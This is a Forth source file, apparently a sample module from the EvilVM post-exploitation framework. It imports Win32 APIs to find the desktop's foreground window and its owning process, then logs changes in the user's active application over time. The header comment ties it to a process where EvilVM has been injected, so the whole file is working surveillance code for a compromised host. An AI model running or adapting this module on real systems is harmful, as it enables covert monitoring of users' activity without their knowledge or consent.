/samples/foreground.fth

https://github.com/jephthai/EvilVM · Forth · 94 lines · 68 code · 26 blank · 0 comment · 11 complexity · 31ea2ba3b3879f735130e780f59a63e7 MD5 · raw file

  1. \ require exceptions.fth
  2. \
  3. \ This sample implements some functionality for obtaining and monitoring
  4. \ the the foreground application for the windows desktop. This code
  5. \ must be run from a process with access to a desktop session, so take
  6. \ care where EvilVM is injected.
  7. \
  8. \
  9. { ."
  10. foreground.fth
  11. Observe the foreground window, and provide facility to monitor
  12. the foreground activity of the current desktop session.
  13. Run foreground to see the current foreground application.
  14. Run monitor-fg to log changes in foreground over time.
  15. Use @foreground to get a pointer to a cstring with the current name.
  16. " ETX emit }!
  17. private
  18. \ We need functions from these two DLLs
  19. loadlib user32.dll
  20. value user32
  21. loadlib psapi.dll
  22. value psapi
  23. \ Import functions from Win32 DLLs
  24. user32 0 dllfun GetForegroundWindow GetForegroundWindow
  25. user32 2 dllfun GetWindowThreadProcessId GetWindowThreadProcessId
  26. kernel32 3 dllfun OpenProcess OpenProcess
  27. psapi 4 dllfun GetModuleFileNameExA GetModuleFileNameExA
  28. 0 value window \ a handle to a window
  29. 0 value proc \ a handle to open a process to get its module name
  30. \ Allocate some local memory
  31. variable pid
  32. create filename 1024 allot \ store a module path
  33. create previous 1024 allot \ keep two around, so we can spot changes
  34. \ The Win32 part of what we do; always looks ugly. I'm writing this in
  35. \ an exception handling style to avoid ugly conditionals.
  36. : foreground
  37. try
  38. \ get a handle to the current foreground window
  39. '{ GetForegroundWindow [to] window }' '{ window CloseHandle drop }'
  40. attempt window +assert
  41. \ get the PID that owns that window
  42. window pid GetWindowThreadProcessId +assert
  43. \ open a handle to that process
  44. '{ $1000 0 pid @ OpenProcess [to] proc }' '{ proc CloseHandle drop }'
  45. attempt proc +assert
  46. \ fill the 'filename' buffer with the process image name
  47. proc 0 filename 1024 GetModuleFileNameExA +assert
  48. ensure
  49. cleanup
  50. done
  51. ;
  52. \ Now for the Forth-ish UI layer for providing useful foreground application
  53. \ words for the EvilVM environment.
  54. : backup-name filename previous 1024 move ;
  55. : different? filename previous cstrcmp ;
  56. : .filename @time .time pid @ . filename .cstring cr ;
  57. : .maybe? different? if backup-name .filename then ;
  58. : quit? key? if key [char] q = else 0 then ;
  59. : monitor-fg quit? if .post else foreground .maybe? 5000 ms tail then ;
  60. : .header ." Monitoring foreground applications\n"
  61. ." enter 'q' to terminate loop\n" ;
  62. public{
  63. \ Public interface -- distill everything to two commands that should
  64. \ be handy for the user.
  65. : @foreground foreground filename ;
  66. : foreground foreground .pre .filename .post ;
  67. : monitor-fg .pre .header monitor-fg ;
  68. }public